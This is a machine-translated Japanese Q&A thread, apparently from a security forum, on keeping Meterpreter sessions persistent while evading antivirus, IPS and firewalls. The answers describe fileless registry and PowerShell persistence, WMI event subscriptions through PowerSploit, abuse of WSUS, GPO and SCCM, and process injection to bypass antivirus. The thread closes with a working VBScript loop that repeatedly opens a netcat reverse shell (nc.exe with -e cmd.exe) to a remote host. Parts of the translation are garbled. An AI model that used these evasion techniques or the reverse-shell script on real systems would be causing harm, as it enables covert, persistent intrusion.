最近、私はさまざまなタイプのクライアントハッキング技術をテストしており、すべてのシナリオでMeterpreter/reverse_tcp
ペイロードとして。アンチウイルスとファイアウォールを簡単にバイパスできるようになりましたが、永続化モジュールのアンチウイルスとIPS=を実行すると、永続化に使用されるMeterpreterペイロードが常に検出され、ファイルが削除されます。meterpreterbypass_UACスクリプトでも同じ問題が発生します。
ご存知のように、メーター接続セッションは、インターネット接続の切断やシステムの再起動などにより、常に簡単に終了します。
セッションを永続化し、ウイルス対策とファイアウォールもバイパスできるMeterpreter永続化スクリプトよりも優れた方法はありますか?
Meterpreter永続化スクリプトが、メタウイルスによって自動生成されたペイロードではなく、自分で作成したペイロードを使用してアンチウイルスによって簡単に作成される方法はありますか?
Justin Warnerが 彼のブログでの議論 を提供しています。これは、持続性についての議論を続ける前に要約することが重要です。
再起動の永続性は要件ですか
私は、バックドアが永続的な再起動である必要はないと主張します。その性質上、バックドアは単に、対象となるリソースへのアクセスを取得する方法です。多くの場合、バックドアには永続的なコンポーネントがありますが、それは、達成しようとしていることのコンテキストとシナリオに任せるのが最善の決定だと思います。非常に単純なネットワークシナリオや、ネットワークディフェンダーからの焦点がほとんどない侵入テストでは、ありふれた永続性が適用可能であり、役立つ場合があります。実行キー、サービス実行可能ファイル、App Init DLLなどは、この状況で非常に役立ちます。
より洗練された、または過酷なネットワーク環境では、95%のメモリのみを操作し、主要な地形であると思われる領域で永続化を再起動することのみを試みます。これは必要以上に偏執的かもしれませんが、これにより、ホストベースのIDSの問題を回避し、ホストにアーティファクトが残るのを防ぐのに役立ちます。私が再起動の永続化を行うことを選択した場所では、ペイロードのレジストリストレージなど、ディスク上のファイルを利用しない方法を好みます。
2016年に起こり得るトレードクラフトの例として、Kovterマルウェアなどの実際の攻撃を取り上げてみましょう- https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/ =
Kovterが採用した手法のおかげで、実行ファイルをディスクにドロップする必要がありません。そのため、「ファイルレス」として知られています[...]いくつかのレイヤーに分散されていますが、すべての段階で難読化されており、分析を遅くするトリックが含まれています処理する
Kovterは 永続的なレジストリエントリ とPowerShell(他のユーザーはリモートレジストリ、PS Remoting、WMIイベントコンシューマを使用または提案することが多い)の組み合わせを使用して、このファイルのない永続化を実行します。いくつかのブログは、これら、サービス、自動実行などに基づいて autostart永続化の場所 について詳細に説明しています。
Meterpreterでは、PowerShellの PowerPickおよびReflectivePick テクニックを使用して、ファイルレステクニック(この回答の上部にあるJustin Warnerのブログ投稿で説明)にアクセスできます。 powershell.exe。 Darkoperatorは powershell extension およびpowershell_import
コマンドを使用してPowerShellパイプラインをプルする機能をカバーしています。その後、PowerSploit永続化機能を使用できますが、これらは常に明確に定義されているとは限りません。もちろん、meterpreterの代わりに、PowerShellEmpireエージェントを使用して persistence/elevated/wmi モジュールを配信できます。私が提案していること、そして問題を直接解決する可能性が高いのは、メータプリター内でpowershell_import
を介してWMI永続イベントサブスクリプションを実行する Persistence.psm1 をソースすることです。これにより、必要なAV、IPS、ファイアウォール/ UTMバイパスが提供されますが、レスポンダーがこの1つの手法の複数のインスタンスを検索すると、簡単にクリーンアップできます。
これが、ジャスティンワーナーがほのめかした次の会話のピースへと私を導きます。ネットワーク内で永続化する各マシンには、異なる永続化手法が必要です(おそらくまったく戦略がない場合もあります-たとえば、稼働時間が長いサーバーは、数か月、場合によっては一度に何年もの間メモリ常駐バックドアを持つことができます)。多くの場合、ターゲットに対してシステム管理インフラストラクチャを使用できます。いわば、それを善ではなく悪に利用しています。 [〜#〜] com [〜#〜] ハンドラー、 [〜#〜] wsus [〜#〜] 、 [〜#〜] ad [〜#〜][〜#〜] gpo [〜#〜] 、 BITSadmin 、 [〜#〜 ] dsc [〜#〜] 、 [〜#〜] sccm [〜#〜] 、および永続性を維持するための他の多くのパッケージと機能。
また、システムの永続性は、信頼できるトランスポートとは完全に異なる場合があります。 Meterpreterのドキュメントを確認することを強くお勧めします。
信頼できるネットワーク接続を維持するには、transport
アーキテクチャを理解する必要があります。ただし、上記ではカバーされていないネットワークの信頼性を保証する最良の方法の1つは、transport
を Metasploit AutoRunScript -と組み合わせることです。 get meterpreterのコンテキストで動作するAutoRunScript 。 mubixはHak5から このmetasploit分でより詳細に転送 をカバーしています。
ターゲットシステムとしてWindowsについて話していると思います。その場合、ほとんどの最新のWindows OSでは、Powershellと、実行中のプロセスにMeterPreterペイロードを注入することを検討する必要があります。それは通常アンチウイルスをバイパスします。 powersploitフレームワークには、そのための便利なスクリプトがたくさんあります。 このブログ をチェックして、実際に行う必要のある例をいくつか確認してください。
筋金入りの危険な仕事に取り組んでいない限り、おそらくatdreの答えを参照してください。しかし、毎回ncatからmeterpreterを再起動する必要があるだけです。
Nbs/netcatパーシスタンスをVBSで使用します。
Dim ncShell
Set ncShell = WScript.CreateObject("WScript.Shell")
Do while True:
ncShell.Run "powershell.exe C:\windows\nc.exe 192.168.0.1 -e cmd.exe", 0, true
WScript.Sleep(60000)
Loop